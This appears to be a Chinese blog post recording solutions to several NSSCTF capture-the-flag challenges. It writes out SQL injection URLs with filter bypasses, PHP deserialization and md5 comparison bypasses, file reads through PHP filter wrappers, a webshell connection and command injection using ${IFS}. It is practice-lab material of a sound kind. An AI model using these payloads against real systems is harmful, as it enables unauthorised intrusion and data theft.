NSSCTF刷题记录

[NISACTF 2022]popchains(不会)

NSSCTF刷题记录_第1张图片

打开题目,存在unserialize函数,则涉及反序列化相关。

查看代码:

Happy New Year~ MAKE A WISH
';

if(isset($_GET['wish']))
{
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString()
    {
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);  //发现文件包含
    }
    public function __invoke(){ //__invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法,调用函数
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/ 

进行代码分析:

[NSSCTF 2022 Spring Recruit]babyphp

分析题目给的代码:

  let's get some php

一些函数补充:

is_string() 函数用于检测变量是否是字符串。

intval() 函数用于获取变量的整数值。

preg_match()正则匹配函数

分析函数:

 

分析完代码之后,我们一层一层进行绕过。补充知识点二:正则匹配式绕过

这里我们使用数组绕过的方式,对a进行传参:a[]=1

NSSCTF刷题记录_第2张图片

回显是go on,说明绕过成功。

第二层绕过,要求给b1和b2赋值。这里涉及了md5绕过。相关知识点

因此,我们post传参的值应该为:b1[]=a&b2[]=b。

注:

弱类型比较(==),只判断内容是否相等,如果是字符串类型,则转换成数值型后进行判断

强类型比较(===),判断内容的基础上,还会判断类型是否相同。

所以这里要注意b1和b2的值是同一类型。这里我们认为同时都是字母(数字也行)。

NSSCTF刷题记录_第3张图片

回显了yee,说明我们第二层绕过成功。

最后一个绕过,c1和c2的值不相等且c1和c2要是字符串,他们的md5值相等。这里我们可以用字符串绕过(因为这里的md5是弱等于)

常见的0e开头的字符串为:
QNKCDZO
240610708
byGcY
sonZ7y
aabg7XSs
aabC9RqS
s878926199a
s155964671a
s214587387a
s1091221200a

随便选两个赋值完事儿。

c1=QNKCDZO&c2=s878926199a

NSSCTF刷题记录_第4张图片
得到flag:NSSCTF{262d528e-228c-430a-9e3a-0a56e3ea5fec}

[SWPUCTF 2021 新生赛]sql

NSSCTF刷题记录_第5张图片

sql注入的考察,并且题目已经告诉我们参数是wllm,测试是否存在sql注入

http://1.14.71.254:28658/?wllm=1'

得到回显:

NSSCTF刷题记录_第6张图片

这样很难不让人用sqlmap试一下:

NSSCTF刷题记录_第7张图片

跑不出来,还是老老实实的用手注吧!

http://1.14.71.254:28658/?wllm=1' order by 3%23
NSSCTF刷题记录_第8张图片

发现有过滤,经过测试后发现是空格被过滤了,用/**/代替空格(注:网页上的注释符号建议换成%23,用#会报错或者是后面的内容注释失败)

NSSCTF刷题记录_第9张图片
http://1.14.71.254:28117/?wllm=1%27/**/order/**/by/**/4%23

当查询4的时候发现内容为空,所以只存在三列内容。现在来查询数据库名称:

http://1.14.71.254:28117/?wllm=-1%27/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=%27test_db%27/**/%23
NSSCTF刷题记录_第10张图片

发现又有某一个不知名的东西被过滤了>-<。经过测试之后发现是=被过滤了

NSSCTF刷题记录_第11张图片

=可以被like替代:

NSSCTF刷题记录_第12张图片
http://1.14.71.254:28117/?wllm=-1%27/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/%27test_db%27/**/%23
NSSCTF刷题记录_第13张图片
http://1.14.71.254:28117/?wllm=-1%27/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/%27LTLT_flag%27/**/%23
NSSCTF刷题记录_第14张图片

出现flag,访问它。

NSSCTF刷题记录_第15张图片

只出来一半,像这种情况我们一般用mid函数分段查询:

第一段:

http://1.14.71.254:28117/?wllm=-1%27union/**/select/**/1,mid(group_concat(id,flag),1,20),3/**/from/**/LTLT_flag%23
NSSCTF刷题记录_第16张图片

第二段:

http://1.14.71.254:28117/?wllm=-1%27union/**/select/**/1,mid(group_concat(id,flag),21,20),3/**/from/**/LTLT_flag%23
NSSCTF刷题记录_第17张图片

第三段:

http://1.14.71.254:28117/?wllm=-1%27union/**/select/**/1,mid(group_concat(id,flag),41,20),3/**/from/**/LTLT_flag%23
NSSCTF刷题记录_第18张图片

这道题就完成了,即可得到flag:

NSSCTF{572ef458-7d46-4bbc-b950-4316a7a71e9c}

[SWPUCTF 2022 新生赛]什锦

下载附件后,打开一个名叫task.txt的文件夹。

NSSCTF刷题记录_第19张图片

我们就一个一个的进行解密,先解密codeA。

CodeA=Decode(友善爱国平等友善自由友善敬业爱国诚信文明诚信自由平等友善平等友善公正诚信民主友善自由友善爱国公正敬业爱国爱国诚信自由友善爱国自由诚信民主爱国诚信民主友善平等友善爱国公正敬业公正爱国法治友善爱国公正敬业爱国爱国诚信自由诚信自由平等敬业文明爱国诚信文明诚信自由爱国诚信民主富强敬业富强)

这一串就很熟悉的社会主义核心价值观,搜索解码器:

NSSCTF刷题记录_第20张图片

codeA=富强明主文明和谐

解密codeB:

NSSCTF刷题记录_第21张图片

经过查询之后,发现这个不明字符是猪圈密码:

NSSCTF刷题记录_第22张图片

一个一个进行比对可以得到

codeB:PIGISSOCUTEWHYYOUKILLPIG

codeC:

NSSCTF刷题记录_第23张图片

是brainfuck密码,用软件解码:

NSSCTF刷题记录_第24张图片

所以codeC:但是猪猪好好吃诶

将所有解码得到的答案整合在一起进行md5加密:

NSSCTF刷题记录_第25张图片

得到flag

NSSCTF刷题记录_第26张图片
NSSCTF{c05485d678cb8a6beb401f31d762532a}

[第五空间 2021]yet_another_mysql_injection

是一道蛮难的SQL题目

NSSCTF刷题记录_第27张图片

只有一个登陆界面,尝试了很多的弱口令也绕不进去

NSSCTF刷题记录_第28张图片

查看源码:

NSSCTF刷题记录_第29张图片

提示访问source文件。

http://1.14.71.254:28749/?source
NSSCTF刷题记录_第30张图片

得到源代码:

alert('{$mes}');location.href='{$url}';");
}

function checkSql($s) {
    if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
        alertMes('hacker', 'index.php');
    }
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
    $username=$_POST['username'];
    $password=$_POST['password'];
    if ($username !== 'admin') {
        alertMes('only admin can login', 'index.php');
    }
    checkSql($password);
    $sql="SELECT password FROM users WHERE username='admin' and password='$password';";
    $user_result=mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if (!$row) {
        alertMes("something wrong",'index.php');
    }
    if ($row['password'] === $password) {
        die($FLAG);
    } else {
    alertMes("wrong password",'index.php');
  }
}

if(isset($_GET['source'])){
  show_source(__FILE__);
  die;
}
?>


    
        


要求我们给password赋值。并且题目也做了很多很多很多的过滤。-_-,关键代码:

if ($row['password'] === $password) {
die($FLAG);

这道题除了过滤,只有这一个要求。所以我们可以使用脚本进行爆破(参考好朋友盲注脚本):

(因为不会做所以提前看过大触师傅们的脚本发现flag不含符号或者大写字母,其他时候做题要加上不要学我)

NSSCTF刷题记录_第31张图片

得到password,登陆成功以后就会告诉你flag。

NSSCTF刷题记录_第32张图片

这道题就解出来了。不过也可以学习一下quine函数注入的方法。(感谢朋友倾情教育)

[SWPUCTF 2021 新生赛]ez_unserialize

实操一下今天刚学的反序列化,先来一道题练练手。

NSSCTF刷题记录_第33张图片

打开题目发现什么都没有,只有一个跳舞的胡桃。习惯性的查看了一下源码,其实我也得不到什么启示。

NSSCTF刷题记录_第34张图片

用御剑扫描一下:

NSSCTF刷题记录_第35张图片

除了前端主页,还有一个robots.txt,访问一下。

给出一个新的php文件,接着访问一下:

NSSCTF刷题记录_第36张图片

得到源码。

发现源码的最后,存在一个unserialize函数,则这道题考察我们反序列化。要求给p赋一个值

定义了一个wllm新的类,类里面两个新的对象admin和passwd。看题目条件,如果想要得到flag,就要让对象admin的值为admin以及passwd的值为ctf。并且这个赋值过程要序列化出来,赋值给p。因此我们可以手写序列化过程代码:

NSSCTF刷题记录_第37张图片

得到序列化后的内容,将其赋值给p:

http://1.14.71.254:28247/cl45s.php/?p=O:4:%22wllm%22:2:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:3:%22ctf%22;}

即可回显出flag的值:

NSSCTF刷题记录_第38张图片

得到flag。

(果真是一道很基础的反序列化,我很喜欢!)

[SWPUCTF 2021 新生赛]jicao

访问题目就看到很清楚的题目要求:

第一次见json这种函数格式类型,来补充一下他的书写格式(参考博客)

以下实例演示了如何将 PHP 数组转换为 JSON 格式数据:

 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5);
   echo json_encode($arr);
?>

运行结果是:{"a":1,"b":2,"c":3,"d":4,"e":5}

这里就不难看出json的编码格式和赋值方式

json_decode是对json函数编码的解码(参考博客)

NSSCTF刷题记录_第39张图片

大致看了一下json函数的运用,继续分析函数,id的要和wllmNB相等,同时x在json编码后的值要是wllm.到这里,上hackbar!

NSSCTF刷题记录_第40张图片

得到flag

[SWPUCTF 2021 新生赛]easy_md5

 
wrong!

简单的md5

NSSCTF刷题记录_第41张图片

直接得到flag

[SWPUCTF 2021 新生赛]caidao

打开题目:

NSSCTF刷题记录_第42张图片

马都写好了,直接连接就可以了。没啥好说的

NSSCTF刷题记录_第43张图片

[SWPUCTF 2021 新生赛]include

打开题目

NSSCTF刷题记录_第44张图片

我传了一个flag.php,得到回显:

 ";
echo "
"; echo "
"; echo "
"; echo "
"; include_once($file); ?> flag 在flag.php中

但是我又传了一次flag.php,不能直接访问,所以用到了php伪协议:

NSSCTF刷题记录_第45张图片

base64解密:

NSSCTF刷题记录_第46张图片

[SWPUCTF 2021 新生赛]babyrce

NSSCTF刷题记录_第47张图片

用hackbar修改cookies的信息为:admin=1

NSSCTF刷题记录_第48张图片

访问rasqlghul.php文件

NSSCTF刷题记录_第49张图片

这里我们知道了命令执行的条件,过滤了空格,用${IFS}绕过

http://1.14.71.254:28631/rasalghul.php/?url=ls${IFS}/;
NSSCTF刷题记录_第50张图片

访问flllllaaaaaaggggggg 文件

http://1.14.71.254:28631/rasalghul.php/?url=cat${IFS}/flllllaaaaaaggggggg;
NSSCTF刷题记录_第51张图片

[安洵杯 2020]BASH

NSSCTF刷题记录_第52张图片

你可能感兴趣的:(安全)